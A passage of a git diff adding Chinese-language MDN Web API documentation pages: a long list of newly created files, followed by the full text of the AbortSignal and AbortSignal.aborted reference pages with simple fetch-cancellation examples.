files/zh-cn/web/api/webgl_api/by_example/scissor_animation/index.html create mode 100644 files/zh-cn/web/api/webgl_api/by_example/simple_color_animation/index.html create mode 100644 files/zh-cn/web/api/webgl_api/constants/index.html create mode 100644 files/zh-cn/web/api/webgl_api/data/index.html create mode 100644 files/zh-cn/web/api/webgl_api/index.html create mode 100644 files/zh-cn/web/api/webgl_api/matrix_math_for_the_web/index.html create mode 100644 files/zh-cn/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html create mode 100644 files/zh-cn/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html create mode 100644 files/zh-cn/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.html create mode 100644 files/zh-cn/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html create mode 100644 files/zh-cn/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html create mode 100644 files/zh-cn/web/api/webgl_api/tutorial/index.html create mode 100644 files/zh-cn/web/api/webgl_api/tutorial/lighting_in_webgl/index.html create mode 100644 files/zh-cn/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html create mode 100644 files/zh-cn/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html create mode 100644 files/zh-cn/web/api/webgl_api/types/index.html create mode 100644 files/zh-cn/web/api/webgl_api/using_extensions/index.html create mode 100644 files/zh-cn/web/api/webgl_api/webgl_best_practices/index.html create mode 100644 files/zh-cn/web/api/webgl_api/webgl_model_view_projection/index.html create mode 100644 files/zh-cn/web/api/webgl_lose_context/index.html create mode 100644 files/zh-cn/web/api/webgl_lose_context/losecontext/index.html create mode 100644 files/zh-cn/web/api/webgl_lose_context/restorecontext/index.html create mode 100644 files/zh-cn/web/api/webglactiveinfo/index.html create mode 100644 files/zh-cn/web/api/webglbuffer/index.html create mode 100644 files/zh-cn/web/api/webglcontextevent/index.html create mode 100644 files/zh-cn/web/api/webglframebuffer/index.html create mode 100644 files/zh-cn/web/api/webglprogram/index.html create mode 100644 files/zh-cn/web/api/webglquery/index.html create mode 100644 files/zh-cn/web/api/webglrenderbuffer/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/activetexture/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/attachshader/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/bindattriblocation/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/bindbuffer/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/bindframebuffer/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/bindrenderbuffer/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/bindtexture/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/blendcolor/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/blendequation/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/blendequationseparate/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/blendfunc/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/bufferdata/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/canvas/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/clear/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/clearcolor/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/cleardepth/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/commit/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/compileshader/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/compressedteximage2d/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/createbuffer/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/createframebuffer/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/createprogram/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/createrenderbuffer/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/createshader/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/createtexture/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/cullface/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/deletebuffer/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/deleteframebuffer/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/deleteprogram/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/deleterenderbuffer/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/deleteshader/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/deletetexture/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/depthfunc/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/depthmask/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/detachshader/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/disable/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/drawarrays/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/drawelements/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/drawingbufferheight/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/drawingbufferwidth/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/enable/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/enablevertexattribarray/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/getattriblocation/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/getcontextattributes/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/getextension/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/getparameter/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/getprograminfolog/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/getprogramparameter/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/getshaderparameter/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/getshadersource/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/getsupportedextensions/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/gettexparameter/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/getuniform/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/isbuffer/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/iscontextlost/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/isenabled/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/isprogram/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/isshader/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/linkprogram/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/pixelstorei/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/renderbufferstorage/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/scissor/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/shadersource/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/teximage2d/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/texparameter/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/uniform/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/uniformmatrix/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/useprogram/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/validateprogram/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/vertexattrib/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/vertexattribpointer/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/viewport/index.html create mode 100644 "files/zh-cn/web/api/webglrenderingcontext/\345\244\232\350\276\271\345\275\242\345\201\217\347\247\273(polygonoffset)/index.html" create mode 100644 files/zh-cn/web/api/webglsampler/index.html create mode 100644 files/zh-cn/web/api/webglshader/index.html create mode 100644 files/zh-cn/web/api/webglshaderprecisionformat/index.html create mode 100644 files/zh-cn/web/api/webglsync/index.html create mode 100644 files/zh-cn/web/api/webgltexture/index.html create mode 100644 files/zh-cn/web/api/webgluniformlocation/index.html create mode 100644 files/zh-cn/web/api/webglvertexarrayobject/index.html create mode 100644 files/zh-cn/web/api/webrtc_api/adapter.js/index.html create mode 100644 files/zh-cn/web/api/webrtc_api/architecture/index.html create mode 100644 files/zh-cn/web/api/webrtc_api/connectivity/index.html create mode 100644 files/zh-cn/web/api/webrtc_api/index.html create mode 100644 files/zh-cn/web/api/webrtc_api/overview/index.html create mode 100644 files/zh-cn/web/api/webrtc_api/protocols/index.html create mode 100644 files/zh-cn/web/api/webrtc_api/signaling_and_video_calling/index.html create mode 100644 files/zh-cn/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html create mode 100644 files/zh-cn/web/api/webrtc_api/taking_still_photos/index.html create mode 100644 files/zh-cn/web/api/webrtc_api/webrtc_basics/index.html create mode 100644 files/zh-cn/web/api/websocket/bufferedamount/index.html create mode 100644 files/zh-cn/web/api/websocket/close/index.html create mode 100644 files/zh-cn/web/api/websocket/error_event/index.html create mode 100644 files/zh-cn/web/api/websocket/extensions/index.html create mode 100644 files/zh-cn/web/api/websocket/index.html create mode 100644 files/zh-cn/web/api/websocket/message_event/index.html create mode 100644 files/zh-cn/web/api/websocket/onclose/index.html create mode 100644 files/zh-cn/web/api/websocket/onerror/index.html create mode 100644 files/zh-cn/web/api/websocket/onmessage/index.html create mode 100644 files/zh-cn/web/api/websocket/onopen/index.html create mode 100644 files/zh-cn/web/api/websocket/protocol/index.html create mode 100644 files/zh-cn/web/api/websocket/readystate/index.html create mode 100644 files/zh-cn/web/api/websocket/send/index.html create mode 100644 files/zh-cn/web/api/websocket/url/index.html create mode 100644 files/zh-cn/web/api/websocket/websocket/index.html create mode 100644 "files/zh-cn/web/api/websocket/\344\272\214\350\277\233\345\210\266\347\261\273\345\236\213/index.html" create mode 100644 files/zh-cn/web/api/websockets_api/index.html create mode 100644 files/zh-cn/web/api/websockets_api/websocket_server_vb.net/index.html create mode 100644 files/zh-cn/web/api/websockets_api/writing_a_websocket_server_in_java/index.html create mode 100644 files/zh-cn/web/api/websockets_api/writing_websocket_client_applications/index.html create mode 100644 files/zh-cn/web/api/websockets_api/writing_websocket_server/index.html create mode 100644 files/zh-cn/web/api/websockets_api/writing_websocket_servers/index.html create mode 100644 files/zh-cn/web/api/webvr_api/concepts/index.html create mode 100644 files/zh-cn/web/api/webvr_api/index.html create mode 100644 files/zh-cn/web/api/webvr_api/using_the_webvr_api/index.html create mode 100644 files/zh-cn/web/api/webvr_api/using_vr_controllers_with_webvr/index.html create mode 100644 files/zh-cn/web/api/webvr_api/webvr_environment_setup/index.html create mode 100644 files/zh-cn/web/api/webvtt_api/index.html create mode 100644 files/zh-cn/web/api/webxr_device_api/index.html create mode 100644 files/zh-cn/web/api/wheelevent/deltamode/index.html create mode 100644 files/zh-cn/web/api/wheelevent/deltax/index.html create mode 100644 files/zh-cn/web/api/wheelevent/deltay/index.html create mode 100644 files/zh-cn/web/api/wheelevent/deltaz/index.html create mode 100644 files/zh-cn/web/api/wheelevent/index.html create mode 100644 files/zh-cn/web/api/window/alert/index.html create mode 100644 files/zh-cn/web/api/window/applicationcache/index.html create mode 100644 files/zh-cn/web/api/window/back/index.html create mode 100644 files/zh-cn/web/api/window/blur_event/index.html create mode 100644 files/zh-cn/web/api/window/cancelanimationframe/index.html create mode 100644 files/zh-cn/web/api/window/cancelidlecallback/index.html create mode 100644 files/zh-cn/web/api/window/clearimmediate/index.html create mode 100644 files/zh-cn/web/api/window/clearinterval/index.html create mode 100644 files/zh-cn/web/api/window/close/index.html create mode 100644 files/zh-cn/web/api/window/closed/index.html create mode 100644 files/zh-cn/web/api/window/confirm/index.html create mode 100644 files/zh-cn/web/api/window/console/index.html create mode 100644 files/zh-cn/web/api/window/content/index.html create mode 100644 files/zh-cn/web/api/window/controllers/index.html create mode 100644 files/zh-cn/web/api/window/copy_event/index.html create mode 100644 files/zh-cn/web/api/window/crypto/index.html create mode 100644 files/zh-cn/web/api/window/customelements/index.html create mode 100644 files/zh-cn/web/api/window/defaultstatus/index.html create mode 100644 files/zh-cn/web/api/window/deviceorientation_event/index.html create mode 100644 files/zh-cn/web/api/window/devicepixelratio/index.html create mode 100644 files/zh-cn/web/api/window/dialogarguments/index.html create mode 100644 files/zh-cn/web/api/window/directories/index.html create mode 100644 files/zh-cn/web/api/window/document/index.html create mode 100644 files/zh-cn/web/api/window/dump/index.html create mode 100644 files/zh-cn/web/api/window/error_event/index.html create mode 100644 files/zh-cn/web/api/window/event/index.html create mode 100644 files/zh-cn/web/api/window/external/index.html create mode 100644 files/zh-cn/web/api/window/find/index.html create mode 100644 files/zh-cn/web/api/window/focus/index.html create mode 100644 files/zh-cn/web/api/window/focus_event/index.html create mode 100644 files/zh-cn/web/api/window/frameelement/index.html create mode 100644 files/zh-cn/web/api/window/frames/index.html create mode 100644 files/zh-cn/web/api/window/fullscreen/index.html create mode 100644 files/zh-cn/web/api/window/gamepadconnected_event/index.html create mode 100644 files/zh-cn/web/api/window/getattention/index.html create mode 100644 files/zh-cn/web/api/window/getcomputedstyle/index.html create mode 100644 files/zh-cn/web/api/window/getdefaultcomputedstyle/index.html create mode 100644 files/zh-cn/web/api/window/getselection/index.html create mode 100644 files/zh-cn/web/api/window/hashchange_event/index.html create mode 100644 files/zh-cn/web/api/window/history/index.html create mode 100644 files/zh-cn/web/api/window/index.html create mode 100644 files/zh-cn/web/api/window/innerheight/index.html create mode 100644 files/zh-cn/web/api/window/innerwidth/index.html create mode 100644 files/zh-cn/web/api/window/issecurecontext/index.html create mode 100644 files/zh-cn/web/api/window/languagechange_event/index.html create mode 100644 files/zh-cn/web/api/window/length/index.html create mode 100644 files/zh-cn/web/api/window/localstorage/index.html create mode 100644 files/zh-cn/web/api/window/location/index.html create mode 100644 files/zh-cn/web/api/window/locationbar/index.html create mode 100644 files/zh-cn/web/api/window/matchmedia/index.html create mode 100644 files/zh-cn/web/api/window/menubar/index.html create mode 100644 files/zh-cn/web/api/window/minimize/index.html create mode 100644 files/zh-cn/web/api/window/moveby/index.html create mode 100644 files/zh-cn/web/api/window/moveto/index.html create mode 100644 files/zh-cn/web/api/window/mozanimationstarttime/index.html create mode 100644 files/zh-cn/web/api/window/mozinnerscreenx/index.html create mode 100644 files/zh-cn/web/api/window/mozinnerscreeny/index.html create mode 100644 files/zh-cn/web/api/window/mozpaintcount/index.html create mode 100644 files/zh-cn/web/api/window/name/index.html create mode 100644 files/zh-cn/web/api/window/navigator/index.html create mode 100644 files/zh-cn/web/api/window/offline_event/index.html create mode 100644 files/zh-cn/web/api/window/onappinstalled/index.html create mode 100644 files/zh-cn/web/api/window/onbeforeinstallprompt/index.html create mode 100644 files/zh-cn/web/api/window/onbeforeunload/index.html create mode 100644 files/zh-cn/web/api/window/ondevicelight/index.html create mode 100644 files/zh-cn/web/api/window/ondevicemotion/index.html create mode 100644 files/zh-cn/web/api/window/ondeviceorientation/index.html create mode 100644 files/zh-cn/web/api/window/ondeviceorientationabsolute/index.html create mode 100644 files/zh-cn/web/api/window/ondeviceproximity/index.html create mode 100644 files/zh-cn/web/api/window/ondragdrop/index.html create mode 100644 files/zh-cn/web/api/window/ongamepadconnected/index.html create mode 100644 files/zh-cn/web/api/window/ongamepaddisconnected/index.html create mode 100644 files/zh-cn/web/api/window/onhashchange/index.html create mode 100644 files/zh-cn/web/api/window/online_event/index.html create mode 100644 files/zh-cn/web/api/window/onmouseup/index.html create mode 100644 files/zh-cn/web/api/window/onmozbeforepaint/index.html create mode 100644 files/zh-cn/web/api/window/onpaint/index.html create mode 100644 files/zh-cn/web/api/window/onpopstate/index.html create mode 100644 files/zh-cn/web/api/window/onscroll/index.html create mode 100644 files/zh-cn/web/api/window/onunload/index.html create mode 100644 files/zh-cn/web/api/window/onuserproximity/index.html create mode 100644 files/zh-cn/web/api/window/open/index.html create mode 100644 files/zh-cn/web/api/window/opendialog/index.html create mode 100644 files/zh-cn/web/api/window/opener/index.html create mode 100644 files/zh-cn/web/api/window/orientationchange_event/index.html create mode 100644 files/zh-cn/web/api/window/outerheight/index.html create mode 100644 files/zh-cn/web/api/window/outerwidth/index.html create mode 100644 files/zh-cn/web/api/window/pagehide_event/index.html create mode 100644 files/zh-cn/web/api/window/pagexoffset/index.html create mode 100644 files/zh-cn/web/api/window/pageyoffset/index.html create mode 100644 files/zh-cn/web/api/window/parent/index.html create mode 100644 files/zh-cn/web/api/window/performance/index.html create mode 100644 files/zh-cn/web/api/window/personalbar/index.html create mode 100644 files/zh-cn/web/api/window/popstate_event/index.html create mode 100644 files/zh-cn/web/api/window/postmessage/index.html create mode 100644 files/zh-cn/web/api/window/print/index.html create mode 100644 files/zh-cn/web/api/window/prompt/index.html create mode 100644 files/zh-cn/web/api/window/rejectionhandled_event/index.html create mode 100644 files/zh-cn/web/api/window/requestanimationframe/index.html create mode 100644 files/zh-cn/web/api/window/requestfilesystem/index.html create mode 100644 files/zh-cn/web/api/window/requestidlecallback/index.html create mode 100644 files/zh-cn/web/api/window/resize_event/index.html create mode 100644 files/zh-cn/web/api/window/resizeby/index.html create mode 100644 files/zh-cn/web/api/window/resizeto/index.html create mode 100644 files/zh-cn/web/api/window/restore/index.html create mode 100644 files/zh-cn/web/api/window/screen/index.html create mode 100644 files/zh-cn/web/api/window/screenleft/index.html create mode 100644 files/zh-cn/web/api/window/screentop/index.html create mode 100644 files/zh-cn/web/api/window/screenx/index.html create mode 100644 files/zh-cn/web/api/window/screeny/index.html create mode 100644 files/zh-cn/web/api/window/scroll/index.html create mode 100644 files/zh-cn/web/api/window/scrollbars/index.html create mode 100644 files/zh-cn/web/api/window/scrollby/index.html create mode 100644 files/zh-cn/web/api/window/scrollbylines/index.html create mode 100644 files/zh-cn/web/api/window/scrollbypages/index.html create mode 100644 files/zh-cn/web/api/window/scrollmaxx/index.html create mode 100644 files/zh-cn/web/api/window/scrollmaxy/index.html create mode 100644 files/zh-cn/web/api/window/scrollto/index.html create mode 100644 files/zh-cn/web/api/window/scrollx/index.html create mode 100644 files/zh-cn/web/api/window/scrolly/index.html create mode 100644 files/zh-cn/web/api/window/self/index.html create mode 100644 files/zh-cn/web/api/window/sessionstorage/index.html create mode 100644 files/zh-cn/web/api/window/setcursor/index.html create mode 100644 files/zh-cn/web/api/window/setimmediate/index.html create mode 100644 files/zh-cn/web/api/window/setinterval/index.html create mode 100644 files/zh-cn/web/api/window/settimeout/index.html create mode 100644 files/zh-cn/web/api/window/showmodaldialog/index.html create mode 100644 files/zh-cn/web/api/window/sidebar/index.html create mode 100644 files/zh-cn/web/api/window/sizetocontent/index.html create mode 100644 files/zh-cn/web/api/window/stop/index.html create mode 100644 files/zh-cn/web/api/window/storage_event/index.html create mode 100644 files/zh-cn/web/api/window/top/index.html create mode 100644 files/zh-cn/web/api/window/updatecommands/index.html create mode 100644 files/zh-cn/web/api/window/url/index.html create mode 100644 files/zh-cn/web/api/window/visualviewport/index.html create mode 100644 files/zh-cn/web/api/window/window.blur()/index.html create mode 100644 files/zh-cn/web/api/window/window/index.html create mode 100644 files/zh-cn/web/api/windowbase64/atob/index.html create mode 100644 files/zh-cn/web/api/windowbase64/base64_encoding_and_decoding/index.html create mode 100644 files/zh-cn/web/api/windowbase64/btoa/index.html create mode 100644 files/zh-cn/web/api/windowclient/index.html create mode 100644 files/zh-cn/web/api/windowclient/navigate/index.html create mode 100644 files/zh-cn/web/api/windoweventhandlers/index.html create mode 100644 files/zh-cn/web/api/windoweventhandlers/onafterprint/index.html create mode 100644 files/zh-cn/web/api/windoweventhandlers/onbeforeprint/index.html create mode 100644 files/zh-cn/web/api/windoweventhandlers/onlanguagechange/index.html create mode 100644 files/zh-cn/web/api/windoweventhandlers/onmessage/index.html create mode 100644 files/zh-cn/web/api/windoweventhandlers/onmessageerror/index.html create mode 100644 files/zh-cn/web/api/windoweventhandlers/onstorage/index.html create mode 100644 files/zh-cn/web/api/windoworworkerglobalscope/caches/index.html create mode 100644 files/zh-cn/web/api/windoworworkerglobalscope/createimagebitmap/index.html create mode 100644 files/zh-cn/web/api/windoworworkerglobalscope/crossoriginisolated/index.html create mode 100644 files/zh-cn/web/api/windoworworkerglobalscope/fetch/index.html create mode 100644 files/zh-cn/web/api/windoworworkerglobalscope/index.html create mode 100644 files/zh-cn/web/api/windoworworkerglobalscope/indexeddb/index.html create mode 100644 files/zh-cn/web/api/windoworworkerglobalscope/issecurecontext/index.html create mode 100644 files/zh-cn/web/api/windoworworkerglobalscope/origin/index.html create mode 100644 files/zh-cn/web/api/windoworworkerglobalscope/queuemicrotask/index.html create mode 100644 files/zh-cn/web/api/windowtimers/cleartimeout/index.html create mode 100644 files/zh-cn/web/api/worker/index.html create mode 100644 files/zh-cn/web/api/worker/message_event/index.html create mode 100644 files/zh-cn/web/api/worker/messageerror_event/index.html create mode 100644 files/zh-cn/web/api/worker/onmessage/index.html create mode 100644 files/zh-cn/web/api/worker/onmessageerror/index.html create mode 100644 files/zh-cn/web/api/worker/postmessage/index.html create mode 100644 files/zh-cn/web/api/worker/terminate/index.html create mode 100644 files/zh-cn/web/api/worker/worker/index.html create mode 100644 files/zh-cn/web/api/workerglobalscope/importscripts/index.html create mode 100644 files/zh-cn/web/api/workerglobalscope/index.html create mode 100644 files/zh-cn/web/api/workerglobalscope/self/index.html create mode 100644 files/zh-cn/web/api/xdomainrequest/index.html create mode 100644 files/zh-cn/web/api/xmldocument/async/index.html create mode 100644 files/zh-cn/web/api/xmldocument/index.html create mode 100644 files/zh-cn/web/api/xmldocument/load/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/abort/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/abort_event/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/channel/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/error_event/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/getallresponseheaders/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/getresponseheader/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/html_in_xmlhttprequest/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/load_event/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/mozanon/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/mozbackgroundrequest/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/mozresponsearraybuffer/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/mozsystem/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/onreadystatechange/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/open/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/openrequest/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/overridemimetype/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/readystate/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/response/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/responsetext/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/responsetype/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/responseurl/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/responsexml/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/send/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/setrequestheader/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/status/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/statustext/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/timeout/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/timeout_event/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/upload/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/using_xmlhttprequest/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/using_xmlhttprequest_in_ie6/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/withcredentials/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/xmlhttprequest/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequesteventtarget/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequesteventtarget/onabort/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequesteventtarget/onerror/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequesteventtarget/onload/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequesteventtarget/onloadstart/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequesteventtarget/onprogress/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequestresponsetype/index.html create mode 100644 files/zh-cn/web/api/xpathevaluator/index.html create mode 100644 "files/zh-cn/web/api/\346\214\207\346\225\260/index.html" create mode 100644 "files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/concepts/index.html" create mode 100644 "files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/index.html" create mode 100644 "files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/index.html" create mode 100644 "files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/result_event/index.html" (limited to 'files/zh-cn/web/api') diff --git a/files/zh-cn/web/api/abortsignal/aborted/index.html b/files/zh-cn/web/api/abortsignal/aborted/index.html new file mode 100644 index 0000000000..eca97c13cf --- /dev/null +++ b/files/zh-cn/web/api/abortsignal/aborted/index.html @@ -0,0 +1,57 @@ +--- +title: AbortSignal.aborted +slug: Web/API/AbortSignal/aborted +translation_of: Web/API/AbortSignal/aborted +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

aborted是一个只读属性,它返回一个{{domxref("Boolean")}}表示与DOM通讯的信号是(true)否(false)已被放弃。

+ +

语法

+ +
var isAborted = abortSignal.aborted;
+ +

取值

+ +

一个{{domxref("Boolean")}}

+ +

示例

+ +

在下面的代码段中,我们创建了一个新的AbortController对象,并获取它的{{domxref("AbortSignal")}} (位于signal属性中)。然后我们用aborted属性检查这个信号是否已被放弃,并把相应的日志发送给终端。

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+// ...
+
+signal.aborted ? console.log('Request has been aborted') : console.log('Request not aborted');
+
+ +

规格

+ + + + + + + + + + + + + + +
规格状态备注
{{SpecName('DOM WHATWG', '#dom-abortsignal-onabort', 'onabort')}}{{Spec2('DOM WHATWG')}}初始定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.AbortSignal.aborted")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/abortsignal/index.html b/files/zh-cn/web/api/abortsignal/index.html new file mode 100644 index 0000000000..445511e99c --- /dev/null +++ b/files/zh-cn/web/api/abortsignal/index.html @@ -0,0 +1,107 @@ +--- +title: AbortSignal +slug: Web/API/AbortSignal +tags: + - API + - AbortSignal + - DOM + - Experimental + - Interface + - Reference +translation_of: Web/API/AbortSignal +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

AbortSignal 接口表示一个信号对象( signal object ),它允许您通过 {{domxref("AbortController")}} 对象与DOM请求(如Fetch)进行通信并在需要时将其中止。

+ +

属性

+ +

AbortSignal接口还继承了其父接口{{domxref("EventTarget")}}的属性。

+ +
+
{{domxref("AbortSignal.aborted")}} {{readonlyInline}}
+
以 {{domxref("Boolean")}} 表示与之通信的请求是否被终止(true)或未终止(false)。
+
+ +

事件处理

+ +
+
{{domxref("AbortSignal.onabort")}}
+
当 {{event("abort_(dom_abort_api)", "abort")}} 事件触发时,即当信号正在与之通信的DOM请求被中止时调用。
+
+ +

方法

+ +

AbortSignal接口从其父接口 {{domxref("EventTarget")}} 继承方法。

+ +

示例

+ +

在以下片段中,我们旨在使用Fetch API下载视频。

+ +

我们首先使用{{domxref("AbortController.AbortController", "AbortController()")}}构造函数创建一个控制器,然后使用{{domxref ("AbortController.signal")}}属性。

+ +

当获取请求被启动时,我们在请求的选项对象中传递AbortSignal作为一个选项(见下面的{signal})。 这将信号和控制器与获取请求相关联,并允许我们通过调用{{domxref("AbortController.abort()")}}来中止它,如下面的第二个事件监听器所示。

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}
+ +
+

注意: 当调用 abort() 时,fetch() 会调用 reject,返回一个AbortError。

+
+ +
+

当前版本Firefox当Promise 含有 DOMException 时,会调用reject。

+
+ +

 

+ +

你可以在GitHub上找到一个完整的可用示例——请参阅abort-api实例在这)。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#interface-AbortSignal', 'AbortSignal')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.AbortSignal")}}

+ +

参见

